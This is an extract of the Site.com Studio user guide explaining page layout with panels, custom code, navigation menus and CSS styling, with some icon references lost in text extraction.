When you create a page template or site page, you can use predefined page layouts that include headers, footers, and columns,
which are created using panels. Once created, you can then further modify the layout to match your site's design.
If you need to add more divisions to the page and you're not familiar with CSS, the easiest method is to use row and column
panels. This feature adds panels with predefined CSS positioning to ensure they align correctly on the page.
Note: Predefined page layouts, and row and column panels use inline CSS to set their position. If you're familiar with
CSS and are using CSS rules to style your site, you can remove the inline CSS by deleting it from the Code tab in the
Style pane and clicking Apply.
To add row and column panels to a page:
1. Select the page (the top folder icon) in the Page Structure pane.
2. Click
> Add Rows and Column Panels.
3. Select the number of row or column panels you require. If the page already contains content, it is placed in the first new
panel.
To add a row panel:

Above a panel, select the panel on the page or in the Page Structure pane and click
> Insert Row Above

> Add Rows and Column Panels

Below a panel, select the panel on the page or in the Page Structure pane and click
> Insert Row Below

> Add Rows and Column Panels

To add row and column panels to another panel:

2302

Adding Features and Page Elements

Laying Out Site.com Pages Using Panels

1. Select the panel on the page or in the Page Structure pane.


2. Click
> Add Rows and Column Panels.
3. Select the number of row or column panels you require. If the page already contains content, it is placed in the first new
panel.
To add a single panel, drag a Panel from the Page Elements pane onto the page.
By default, the height of a panel automatically adjusts when you add content to it because its Auto Height property is enabled.
You can disable the property to resize and reposition panels. If you hover over a panel on the page, an information popup
appears that displays the width and height of the panel.

When you drag a page element onto a panel, the edges change color, indicating that the element is now grouped within it.
To remove the element from the group, drag it outside the panel.
Tip:

You can use a background tracing image as a guide when laying out page templates and site
pages.
You can use CSS properties to improve the layout and position of panels on the page.

See Also:
Changing a Page Elements HTML Tag
Adding Site.com Page Elements
Creating Site.com Page Templates
Creating Site Pages as a Publisher or Designer
Using Site.com Studio as a Publisher or Designer

2303

Adding Features and Page Elements

Positioning Panels Using CSS

Positioning Panels Using CSS


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

A panel is a useful layout tool that defines the logical divisions of your page. Using CSS, you can position panels and improve
the layout of the page.
Adding Padding and Margins to Panels
Two CSS propertiesmargins and paddingcan help with your page layout by creating space between the rows and columns,
and the content within. The margin property controls the space outside the panel between its border and outer edge, while
the padding property controls the space between the panel's content and border.
To add margins and padding:
1. Select the panel.
2. Open the Dimensions section of the Style pane.
3. In the Margins section, either:

Set the margin width for all four sides by entering a value in the All text box and selecting the unit of measurement.
Set the margin widths for the top, right, bottom, or left sides independently by entering a value in the appropriate text
box and selecting the unit of measurement.

4. Similarly, in the Padding section, set the padding widths as required. Adding padding increases the total width of the
panel. For example, if you have a panel with a width of 500px and you add padding of 20px to all sides, the total width of
the panel will be 540px.
Tip: You can center a panel or block page element using the margin property. Enter 0 in the All text box and select
Auto in the drop-down list.

Creating Column Panels Using the Float Property


If you need to add more divisions to the page and you're not familiar with CSS, the easiest method is to use row and column
panels. Alternatively, using the CSS float property, you can position panels to the left or right to create columns. (When you
add panels using the row and column panels feature, they're automatically positioned using the float property.) For example,
you could add two single panels to a container panel and set both panel's float and width properties to create a two-column
page layout.
To create a column panel:

2304

Adding Features and Page Elements

Adding Images Directly to the Page

1. Select the panel.


2. Open the Layout section of the Style pane.
3. Click
to float the panel to the left, or click
to float the panel to the right. If you're creating a two-column
layout, for example, ensure you set the float property of both panels.
4. Adjust the width of the panel to ensure the panels align correctly by either setting the width in the Dimensions section or
dragging the panel's border on the page. For example, if you're creating two columns of equal width, set the width of both
panels to 50%.
Tip: When you use the float property, remember to set the overflow property of the container panel to hidden. This
allows the container panel to grow as the height of the column panels increase. Select the container panel and in the
Layout section of the Style pane, select Hidden in the Overflow drop-down list.

See Also:
Cascading Style Sheets Overview

Adding Images Directly to the Page


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

As a publisher or designer, you can add images directly to your site pages and page templates or you can add them to content
blocks.
To add an image directly to the page:
1. Open the site page or page template.
2. Drag an Image from the Page Elements pane onto the page.
3. In the Add an Image dialog box, either:

Find an existing image by typing its name in the Search Image text box and selecting it from the list.
Upload an image from your computer by opening the Upload tab, browsing to the image, clicking Upload, and selecting
it from the list.

4. Click Apply. The image is added to the page.

2305

Adding Features and Page Elements

Adding Content Blocks to Pages

5. Enter a brief description of the image in the Alternative Text field in the Properties pane. The description is used
by screen reader users or as a substitute if the image doesn't display. It can also help with search engine optimization (SEO).

See Also:
Adding Site.com Page Elements
Editing and Working With Site.com Page Elements
Site.com Page Elements

Adding Content Blocks to Pages


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

Content blocks contain the text of your website pages, and can also house images, videos, and hyperlinks. Content blocks are
the only page element that contributors can edit and modify on a site page.
To add a content block, either drag it from the Page Elements pane onto the page or target a container page element.
To edit a content block, double-click it or click Edit Content. For greater control over the text, you can edit the HTML
directly by selecting the content block and clicking
> Edit HTML.
To add a content block that only other publishers can edit, use custom code instead.

See Also:
Adding Images to Content Blocks
Adding Hyperlinks to Text and Images
Adding an Anchor to a Page
Changing a Page Elements HTML Tag
Using Site.com Studio as a Publisher or Designer

2306

Adding Features and Page Elements

Adding Custom Code to Pages

Adding Custom Code to Pages


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

You can add:

Markup to a specific location on a page using the Custom Code page item
Markup to the page head
JavaScript to the page body
A reference to a JavaScript file or open-source JavaScript library in the page head or body
Note:

JavaScript in the page head loads first.


JavaScript added using the Custom Code page item loads when that part of the page loads.
JavaScript added to the page body is positioned at the end of the body tag and only loads when the DOM is
ready.
Scripts can't execute while you're editing a page in Site.com Studio. To test your code, preview the page.

Adding Markup Directly to the Page


1. Drag a Custom Code page item from the Page Items panel onto the page.
2. Enter the markup in the Custom Code dialog box.
3. Click Save & Close to add the markup directly to the page.
To edit custom code that's on the page, double-click the

icon.

Adding Markup to the Page Head


1. Click Configure in the Edit Head Markup section of the Properties panel.
2. Enter the markup in the Edit HTML Code dialog box.
3. Click Save & Close to insert the markup into the page head.

2307

Adding Features and Page Elements

Adding Custom Code to Pages

Adding JavaScript to the Page Body


1. Click Configure in the Edit Body Scripts section of the Properties panel.
2. Enter the code in the Edit JavaScript Code dialog box. Don't add <script> tags, as they're already included.
3. Click Save & Close to add the code to the bottom of the page body.

Using JavaScript Files or Libraries


Instead of adding JavaScript code directly to a page, you can include links to imported or external JavaScript files, or to an
open-source library (via the Google Libraries API).
1. Click
in either the Body Scripts or the Head Scripts section of the Properties panel.
2. To link to:

A JavaScript file that you've imported, select An imported script and select the file.
An open-source JavaScript library, select A Google AJAX library and select the library.
An external JavaScript file, select A URL to an external script and enter the address.

3. Click Apply.
Tip: You can use the Events tab to add JavaScript events to page items and pages.

See Also:
Changing a Page Elements HTML Tag
Adding Site.com Page Elements
Displaying Data in Repeaters Using Custom Code
Creating an Event
Using Site.com Studio as a Publisher or Designer

2308

Adding Website Navigation

About the Site Map and Page Hierarchy

ADDING WEBSITE NAVIGATION


About the Site Map and Page Hierarchy
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

The Site Pages view on the Overview tab contains the pages of your website. The Site Map folder reflects the hierarchy or
tree structure of your site by housing site pages that are included in the site map. When you create new pages, they're
automatically added to this folder. The Landing Pages folder houses standalone pages that are excluded from the site map,
making it ideal for temporary pages, such as promotional or competition pages.
Tip: If you cant see the Site Map folder in the Site Pages view on the Overview tab, click

When adding a navigation menu to your site, it's important to organize the hierarchy of your site pages accurately, because
this structure is used to generate the menu. Pages are displayed in navigation menus in the order you arrange them.
In this representation of the site hierarchy, you can more clearly see the tree structure of the pages.

1. The Site Map folder, which contains four site pages.


2. A top-level page in the site hierarchy.

2309

Adding Features and Page Elements

Adding a Navigation Menu

3. A top-level, parent page with two child pages. A child page is a page at a lower level in the site hierarchy than its parent
page.
4. Two child pages.
5. The Landing Pages folder, which contains a temporary page that's not part of the site map or navigation menu.
By default, when you create a menu, its generated from the pages in the Site Map folder in the Site Pages view. However,
you can also create a menu thats generated from the pages in the Landing Pages folder or from the child pages of a site page.
Tip: If a page has child pages, the

icon appears beside it indicating that you can expand the branch.

See Also:
Adding a Navigation Menu
Styling Navigation Menus
Creating Site Pages as a Publisher or Designer
Using Site.com Studio as a Publisher or Designer

Adding a Navigation Menu


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To add page elements:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned in Site.com Studio

By default, when you create a menu, its generated from the pages in the Site Map folder in the Site Pages view. However,
you can also create a menu thats generated from the pages in the Landing Pages folder or from the child pages of a site page.
1. Arrange site pages in the Site Map folder or the Landing Pages folder in the order you want them to appear in the menu
by dragging them to the desired location. Drag a page onto another page to make it a child of that page. Drag pages into
the Landing Pages folder to exclude them from the site map.
Tip: If you cant see the Site Map folder in the Site Pages view on the Overview tab, click

2. Open the page template or site page that you want to add the navigation menu to.
3. Drag a Menu from the Page Elements pane onto the page.

2310

Adding Features and Page Elements

Styling Navigation Menus

4. By default, the Site Map folder is used to create the menu. To create the menu from the pages in the Landing Pages folder,
select Use Other Map in the Menu Source property in the Properties pane. Alternatively, to create the menu from
just the child pages of a site page, select the site page.
5. To alter the appearance of the menu, you can select a different theme from the Theme Name drop-down list. For example,
to create a drop-down menu, select Horizontal Drop-down. You can modify the style of any theme to suit your needs.
6. The name of each menu item is controlled by the pages Navigation Name property. By default, its initially populated
with the pages name. To change the name of a menu item, open the associated page and update its Navigation Name
field in the Properties pane. Navigation names can include spaces and special characters.
Tip:

When you add a new page, update a pages Navigation Name property, or rearrange pages, the menu updates
automatically to reflect the changes.
To automatically include a menu on every site page, add the menu to a page template and base the site pages on
it.

See Also:
About the Site Map and Page Hierarchy
Styling Navigation Menus
Adding Site.com Page Elements
Creating Site Pages as a Publisher or Designer
Using Site.com Studio as a Publisher or Designer

Styling Navigation Menus


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

Navigation menus are styled using CSS themes that you can customize to match the design of your website. When you add
a navigation menu to a page, it uses a default theme to control its appearance. Choose from other existing themes in the Theme
Name drop-down list in the Properties pane.
Alternatively, to customize a theme to suit your needs:
1. Select the navigation menu on the page.
2. Select a theme to use as a base in the Theme Name drop-down list in the Properties pane. Use a theme that most closely
matches your site design or select Blank to start with a completely blank theme.

2311

Adding Features and Page Elements

Adding Custom HTML Attributes

3. Open the Style pane and ensure Class is selected.


4. In the Style drop-down list, select the part of the menu that you want to style. When you select an item, it's highlighted
for a few seconds, so you can easily see which part you're styling.
Tip: If you're familiar with CSS, you can also modify the style of the menu in the site's style sheet.

5. To style the selected menu item, use the Style pane properties. Your changes are immediately reflected in the menu.
6. Repeat as required for each part of the menu.

See Also:
About the Site Map and Page Hierarchy
Adding a Navigation Menu

Adding Custom HTML Attributes


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

You can add custom HTML attributes to pages and page elements, which are rendered on the HTML tag of the page element.
For example, this is useful when working with third-party frameworks that render page elements differently based on certain
attributes.
When the page is open:
1. Select the relevant page or page element in the Page Structure pane.
2. In the Custom Attributes section of the Properties pane, click
3. Enter a name and value for the HTML attribute.
4. Click Save.
To delete an HTML attribute, select it and click

2312

Adding Features and Page Elements

Changing a Page Elements HTML Tag

To change the order in which an HTML attribute is rendered, select it and click

or

See Also:
Changing a Page Elements HTML Tag
HTML5 Semantic Page-Layout Tags
Changing a Pages Doctype Property
Understanding the Page Editing View in Site.com Studio

Changing a Page Elements HTML Tag


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To edit page element properties:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned in Site.com Studio

By default, panels, repeaters, repeater elements, custom code, and content blocks are each defined as a div, but you can change
this to any other HTML tag using the HTML Tag property. This gives you greater flexibility and control over how the page
element is displayed on the page.
Caution: The HTML Tag property provides a powerful way to control how page elements are displayed. However, if
you change a page elements HTML tag, you may generate invalid HTML. Before publishing any changes, test the
page thoroughly.
To redefine a panel, repeater, repeater element, custom code, or content block:
1. Select the element on the page.
2. In the HTML Tag field in the Properties pane, start typing the tag name.
3. In the auto-complete list that appears, select the relevant HTML tag. Alternatively, you can define your own HTML
tagfor example, if youre working with a JavaScript library or if new HTML5 tags are introduced in the future. You can
also remove the HTML tag on a panel, repeater, repeater element, custom code, or content block to disable its ID, class,
or inline styles.
Note: The following tags aren't included in the auto-complete list:

base
body
doctype
head

2313

Adding Features and Page Elements

HTML5 Semantic Page-Layout Tags

html
meta
style
title

See Also:
HTML5 Semantic Page-Layout Tags
Adding Custom HTML Attributes

HTML5 Semantic Page-Layout Tags


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

HTML5 defines several semantic page-layout tags that describe the content they contain. These tags make it easier for search
engines and screen readers to read and organize your content.
By default, several page elements are defined as a div, including panels, repeaters, repeater elements, content blocks, and
custom code. Using a page elements HTML Tag property, you can change the tag to a semantic HTML5 block tags, such as:
Option

Description

Article

A section containing an independent item of content, such as


a magazine article or a forum post.

Aside

A section containing content thats only superficially related


to the main page content, such as a sidebar or advertising.

Details

A section containing additional details that the user can view


or hide using an interactive widget. It can also include a
summary section.

Header

A section containing an introduction, or a group of navigation


elements.

Footer

A footer section for the page or parent section. It typically


contains information about the parent section and appears at
the end of the section.

Nav

A section that contains navigation links.

Section

A generic section of the page.

Summary

A summary or caption section for a details section.

2314

Styling Your Website

Cascading Style Sheets Overview

Tip: If you use a HTML5 semantic tag, its good practice to also change the pages doctype to HTML5.

See Also:
Changing a Page Elements HTML Tag
Adding Custom HTML Attributes

STYLING YOUR WEBSITE


Cascading Style Sheets Overview
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

Cascading Style Sheets (CSS) provide a flexible way to add style to the pages of your website. This collection of formatting
rules governs the appearance of your pages, and lets you define the fonts, colors, layout, and other presentation features. By
using CSS to control your fonts, you can ensure greater consistency in the appearance and layout of your pages in multiple
browsers. Some of the many text properties that CSS lets you control include:

Font family
Font size
Text color and background color
Bold, italics, underlining, and text shadows
Link color and link underlining

Using CSS, you can also position, add color to, float text around, and set margins and borders for block-level elements. A
block-level element is a standalone piece of content that's visually formatted as a block. For example, content blocks (which
are equivalent to p tags) and panels (which are the same as div tags) are both block-level elements.

About Inline Styles Versus Style Sheets


In Site.com Studio, you can:

Apply styles directly to a selected page or page element using the Inline option in the Style pane. Inline styles apply only
to the selected item.
Add style items such as CSS classes or IDs to a style sheet, and apply the style items to the selected page or page element.
This approach separates the content (your web pages) from the presentation (the style sheet).

If youre not familiar with CSS, youll probably find the inline option the easiest to use and understand. However, inline styles
lose many of the advantages of style sheets because they mix content with presentationthe inline style is only applied to that
individual element. If you need to update the style of your site, you have to update the style properties of every affected page
and page element.

2315

Styling Your Website

Cascading Style Sheets Overview

By contrast, although style sheets may be more difficult to understand, they enable you to make site-wide changes from one
convenient location. When you update a style item in your style sheet, it immediately updates the style of every page or page
element that uses it.
Its worth taking the time to become familiar with CSS because it:

Saves you time and effort when building and designing your site
Produces cleaner, more consistent site designs
Simplifies navigation for people with accessibility issues (such as those using screen readers)

For more information about using CSS and creating style sheets, go to the World Wide Web Consortium (W3C) at
www.w3.org/Style/CSS. There are also many tutorials available on the Internet that provide in-depth CSS training.

About CSS Classes and IDs


When you use style sheets to style your site, you can redefine the formatting of HTML tags such as body or h1. You can also
create CSS classes and IDs to define the style of particular elements, such as headers or repeating content. A CSS class lets
you define and apply style properties to many elements on a page, whereas a CSS ID is ideal for targeting a single item on a
page. For example, in a page's structure, IDs are often used to define the header and footer areas, as each page has only one
header or footer, but classes are used to define repeating page elements, such as a blog post.

Best Practices

Include a CSS reset in your style sheet to reset all style items to a baseline value. This helps avoid cross-browser differences
due to their built-in default style settings.
Use CSS classes and IDs instead of inline styles wherever possible. This promotes the separation of presentation and
content, and makes it easier to updates the site's styles.
Use IDs when there is only one occurrence per page. Once you've used the ID, you can't use it again on that page. Use
classes when there are one or more occurrences per page.
Use groups to organize your CSS logically and make it easier to maintain your style sheet.

See Also:
Using the Style Pane
Understanding the Style Sheet View in Site.com
Creating and Using CSS Style Sheets
Creating Style Sheet Items and Groups

2316

Styling Your Website

Using the Style Pane

Using the Style Pane


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

The Style pane is a visual CSS editor that lets you modify style properties, such as the background color, font size, and border
style, as you work with pages and page elements. If you're using CSS classes or IDs to style your pages, you can modify or
create style items directly from the Style pane, rather than opening the style sheet.
To apply a style to a selected page or page item:
1. Open the Style pane.
2. To apply:

An inline style, select Inline. Inline styles affect the selected item only and aren't included in a style sheet.
A CSS class, select Class and start typing the name. If the class already exists in your style sheet, select it in the list
that appears. To create a new class, type the name, select it, and click Yes to add it to the style sheet.

A CSS ID, select ID and select it in the drop-down list. To create a new ID, click

, enter the ID name, and click

.
Menu page elements have several components, which you can style individually by selecting your preferences in the Style
drop-down list that appears.
3. In the Visual tab, apply style properties as appropriate. Alternatively, in the Code tab, you can type your CSS styles directly
and click Apply.
Tip: To view the style properties associated with a selected page or page element, open the Code tab of the Style
pane. To remove the style properties, click Clear.

See Also:
Cascading Style Sheets Overview
Creating Style Sheet Items and Groups
Creating and Using CSS Style Sheets

2317

Styling Your Website

Style Pane Properties

Style Pane Properties


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

The Style pane is a visual CSS editor that lets you modify style properties, such as the background color, font size, and border
style, as you work with pages and page elements.

The Background Section


Property

Description

Background Color

Sets the element's background color. Click the color box and use the color picker
to select a color, or enter a specific hexadecimal code in the text box. You can also
choose from a list of colors in the Background Color drop-down list.

Background Image

Adds a background image to the element. Click URL and enter the image URL,
or click

to select an imported image.

Background Repeat

Tiles the element's background image.

ensures that only one copy of the image appears.

repeats the image horizontally.

repeats the image vertically.

tiles the image both horizontally and vertically.

Position

Specifies the position of the element's background image.


To set the horizontal position of the background image, enter a value in the X
text box and select a unit of measurement. Alternatively, select Left or Right
in the drop-down list.
To set the vertical position of the background image, enter a value in the Y text
box and select a unit of measurement. Alternatively, select Top or Bottom in
the drop-down list.

Cursor

Sets the cursor type, such as crosshair or pointer.

The Font & Color Section


Property

Description

Font

Sets the font family of the selected element.

Color

Sets the font color. Click the color box and use the color picker to select a color,
or enter a specific hexadecimal code in the text box. You can also choose from a
list of colors in the Color drop-down list.

2318

Styling Your Website

Style Pane Properties

Property

Description

Size

Sets the font size. Enter a value in the Size text box and select a unit of
measurement such as em, point, or %. Alternatively, select a predefined value such
as XX-Small. Select Inherit to use the same font size as the parent element (for
example, the page or panel).
Tip: Use relative sizes such as em or a percentage to enable your end users
to resize the font size in their Web browsers.

Style

Formats the element's font style.

makes the font bold.

makes the font bold and italic.

makes the font italic.


None removes existing styles.

Font Variant

Specifies whether to render the font as small capitals.

Line Height

Modifies the amount of space between lines of text. Enter a value in the text box
and select a unit of measurement such as pixels, percentage, or em. Select Inherit
to use the same line height as the parent page element.

Text Decoration

Applies decorative effects to the element's text. For example, you could remove the
underline that usually appears under hyperlinks, which is a standard CSS rule that's
built in to most Web browsers.

underlines the text.

applies strikethrough formatting.

displays a line over the text.


None removes existing text decoration.

Align

Aligns the text of the selected element.

aligns the text to the left.

aligns the text to the right.

centers the text.

aligns the text with both the left and right margins.

Case

Changes the capitalization of the element's text.

capitalizes the first character of each word.

capitalizes all characters.

lowercases all characters.


None removes existing capitalization formatting.

2319

Styling Your Website

Style Pane Properties

Property

Description

Text Indent

Indents the first line of text of the selected page element. Enter a value in the text
box and select a unit of measurement. Select Inherit to use the same indentation
as the parent page element.

White Space

Controls how white spaces such as spaces, tabs, and hard returns are handled inside
an element.

The Layout Section


Property

Description

Positioning

Positions page elements outside the normal flow of the document. Usually, elements
on a page are rendered in Web browsers in the order they appear in the document.
Block elements such as p tags and div tags appear one beneath the other, whereas
inline elements such as em, strong, and span tags are rendered next to text or
each other.
Absolute positions the content using the settings in the Top, Bottom, Left,
and Right text boxes.
Relative renders the page element in the normal layout flow, but moves the
element relative to its normal position depending on the values in the Top,
Bottom, Left, and Right text boxes. For example, if you set an element's left
position to 20 pixels, the page element will be positioned 20 pixels further to
the left.

Display

Overrides a page element's default layout behavior. For example, you can hide page
elements, make block elements render inline, or make inline elements render as
blocks.
None hides the page element.
Block displays the page element as a block-level page element, with a line break
before and after the element.
Inline, which is the default setting, displays the page element as an inline page
element without a line break before or after the element.
Inline-block renders the page element as an inline rectangle, but with content
that behaves as if it's inside a block element.

Position

When used in conjunction with the Absolute or Relative positioning options, these
four properties place page elements outside the normal flow of the document. Enter
a value in the text boxes as appropriate and select a unit of measurement in the
respective drop-down lists.
Top sets how far the top edge of an element is above or below the top edge of
the parent element.
Bottom determines how far the bottom edge of an element is above or below
the bottom edge of the parent element.
Right sets how far the top edge of an element is to the right or left of the right
edge of the parent element.
Left defines how far the left edge of an element is to the right or left of the left
edge of the parent element.

2320

Styling Your Website

Style Pane Properties

Property

Description

Z-index

Specifies the order in which elements overlap each other when they need to be
rendered in the same space. An element with a greater z-index value covers an
element with a lower value. The default value is 0.
Click
box.

and

to increase and decrease the z-index, or enter a value in the text

Float

Floats a page element to the left or right so that subsequent elementstext for
examplewrap around the floating page element.

floats the page element to the left.

floats the page element to the right.


None removes an existing float setting.

Clear

Specifies whether the selected page element allows floating page elements beside
it.

moves the page element below any floating page element on its left.

moves the page element below any floating page element on its right.

moves the page element below floating page elements on either side.
None removes existing float settings.

Visibility

Specifies whether the selected page element is visible.


Visible is the default value.
Hidden hides the page element and renders an invisible rectangle in its place.
Collapse is used to hide table elements. (For other page elements, it has the
same result as hidden.)
Note: Invisible page elements still occupy the same space in the page's
layout.

Overflow

Specifies whether the content of a page element should be clipped when it overflows
its area.
Visible does not clip the content.
Hidden clips the content.
Scroll clips the content, but provides scroll bars so that users can view the
remaining content.
Auto is dependent on the browser, but should display a scroll bar to view the
rest of the content.

2321

Styling Your Website

Style Pane Properties

The Dimensions Section


Property

Description

Width

Sets the width of the selected page element. Enter a value in the Width text box
and select a unit of measurement. Select Inherit to use the width of the parent page
element.

Height

Sets the height of the selected page element. Enter a value in the Height text box
and select a unit of measurement. Select Inherit to use the height of the parent
page element.

Margins

Sets the width of the page element's margin, which is the space between its border
and outer edge. Set the margins for all four sides by entering a value in the All
text box, or add margins to the top, right, bottom, or left sides as required.

Padding

Sets the width of the page element's padding, which is the space between its content
and border. Set the padding for all four sides by entering a value in the All text
box, or add padding to the top, right, bottom, or left sides as required.

The Borders Section


Property

Description

Type

Specifies whether to set border properties for each side separately or for all four
sides.

Style

Sets the border's style such as dashed, dotted, or double.

Color

Sets the border's color. Click the color box and use the color picker to select a color,
or enter a specific hexadecimal code in the text box. You can also choose from a
list of colors in the Color drop-down list.

Thickness

Specifies the border's thickness. Enter a value in the Thickness text box and
select a unit of measurement. Alternatively, select Thin, Medium, or Thick.

The Tables Section


Property

Description

Border Collapse

When designing tables:


Collapse uses a common border between cells
Separate gives each cell its own border

Horizontal Spacing

Sets the horizontal distance that separates cell borders. Enter a value in the text
box and select a unit of measurement. This value is used only if Border Collapse
is set to Separate.

2322

Styling Your Website

Understanding the Style Sheet View in Site.com

Property

Description

Vertical Spacing

Sets the vertical spacing that separates cell borders. Enter a value in the text box
and select a unit of measurement. This value is only used if Border Collapse is set
to Separate.

See Also:
Using the Style Pane
Understanding the Style Sheet View in Site.com
Creating Style Sheet Items and Groups

Understanding the Style Sheet View in Site.com


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

When working with style sheets, you can add style items, organize them into groups, and edit the CSS code directly. Open a
style sheet on the Overview tab by double-clicking it or hovering over it and clicking
> Edit. The style sheet opens as a
new tab.

2323

Styling Your Website

Using the toolbar (1), you can import a style sheet and edit the style sheets CSS code directly.
Using the style sheet pane (2), you can:

Understanding the Style Sheet View in Site.com

Create style items and groups


Preview, edit, and delete style items
Move style items and groups by dragging them to the correct location
Add a CSS reset

Using the Style Preview section (3), you can preview and manually edit a selected style item.
Using the visual CSS editor (4), you can define the CSS properties for the selected style item.

See Also:
Cascading Style Sheets Overview
Creating and Using CSS Style Sheets
Using Site.com Studio as a Publisher or Designer

2324

Styling Your Website

Creating and Using CSS Style Sheets

Creating and Using CSS Style Sheets


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

A default style sheet called Site Style Sheet is included with every site you create. However, if you're familiar with CSS and
need multiple style sheets, you can create new ones to use in your site.
To create a style sheet:
1.
2.
3.
4.

Click Style Sheets > New on the Overview tab. Alternatively, click New Style Sheet in the Style Sheets view.
Enter a name for the style sheet.
Click Apply. The style sheet opens.
Add style items and groups to the style sheet.
Note:

Style sheet names can only contain alphanumeric characters, hyphens, colons, and underscores.
You can also import a CSS file to use in your site.

After you create a new style sheet, you must attach it to a page to apply its styles to the page.
To attach a style sheet to a page:
1. Select the page in the Page Structure pane.
2. In the Style Sheets section of the Properties pane, click
3. Select the style sheet in the list that appears.
4. Attach the style sheet to the page by clicking

beside the drop-down list.

Tip: If you used a page template to create your site pages, the quickest way to include the new style sheet on every
pages is to attach it to the template. This automatically includes a reference to the style sheet in every page that's based
on the template.

See Also:
Cascading Style Sheets Overview
Understanding the Style Sheet View in Site.com

2325

Styling Your Website

Creating Style Sheet Items and Groups

Creating Style Sheet Items and Groups


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

When adding style items to style sheets, you can define CSS classes and IDs, or you can redefine the formatting of HTML
tags such as body or h1. When you change the CSS style of an HTML tag, anything formatted with that tag is immediately
updated.

Creating Style Items


To open a style sheet, double-click it in the Style Sheets view of the Overview tab, or hover over it and click

> Edit.

If you're very familiar with CSS and prefer coding by hand, click Edit Style Sheet Code to edit the style sheet directly using
the CSS editor.
Alternatively:
1. Select the style sheet and click
> Insert Style Item.
2. Enter the name of the style item:

To redefine the default formatting of a specific HTML tag, enter the HTML tag namefor example, body or h1.
To create a CSS class, enter the class name and ensure that you include a period before itfor example, .classname.
To create a CSS ID, enter the ID name preceded by #for example, #contentID.

3. Click Apply.
4. Add style definitions by either:

Setting style properties in the visual style editor on the right


Typing CSS styles in the text box in the Style Preview section and clicking Save

As you modify the definition of a selected style item, you can see how your changes appear in the Style Preview section.
Tip:

A class name must begin with a period or it will not be recognized as a CSS class.
An ID name must begin with # or it will not be recognized as a CSS ID.
Use IDs when there is only one occurrence per page. Once you've used the ID, you can't use it again on that page.
Use classes when there are one or more occurrences per page.
Class and ID names can contain alphanumeric characters, hyphens, and underscores only, and can't begin with a
number or include spaces.

2326

Styling Your Website

Using CSS Reset

Creating Style Groups


Use groups to organize your CSS logically. This makes it easier to locate and maintain styles.
When the style sheet is open:
1. Select the style sheet and click
> Insert Style Group.
2. Enter a name for the group and click Apply.
3. To add a new style to the group, select the group and click
drag it onto the folder icon.

> Insert Style Item. To add an existing style to the group,

Assigning Style Items


After you've created styles, you can assign them to the pages and pages elements of your site.
To assign a class to a page or page element, select it and either:

Type the class name in the Class field of the Properties pane.
Select Class in the Style pane, start typing the name, and select it in the list that appears.

To assign an ID to a page or page element, either:

Type the ID name in the ID field in the Properties pane.


Select ID in the Style pane and select it in the drop-down list.

See Also:
Understanding the Style Sheet View in Site.com
Creating and Using CSS Style Sheets
Cascading Style Sheets Overview

Using CSS Reset


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

Every browser has set presentation defaults, but unfortunately they aren't standardized across all browser types. This means
that when you use CSS to style your site, it may not render as expected when you view it in different browsers. For example,
browsers differ in how they display:

Unordered and ordered lists

2327

Working with Dynamic Data

Site.com Data Services Overview

Top and bottom margins for headings


Indentation distances
Default line-heights

A CSS reset cancels the differences between browsers to control how browser elements are presented to the end user. You can
either use Site.com's CSS reset, or you can add your own CSS reset code.
To use Site.com's CSS reset:
1. In the Style Sheets view on the Overview tab, open the style sheet by double-clicking it, or hovering over it and clicking
> Edit.
2. Click
> Insert CSS Reset.
3. Ensure the CSS reset is positioned at the top of the style sheet. To move it, drag it to the correct location in the pane on
the left.
To add your own CSS reset code:
1. In the Style Sheets view on the Overview tab, open the style sheet by double-clicking it, or hovering over it and clicking
> Edit.
2. Click Edit Style Sheet Code to open the CSS editor.
3. Paste the code at the top of the style sheet code.
4. Click Save & Close.

See Also:
Creating and Using CSS Style Sheets
Creating Style Sheet Items and Groups
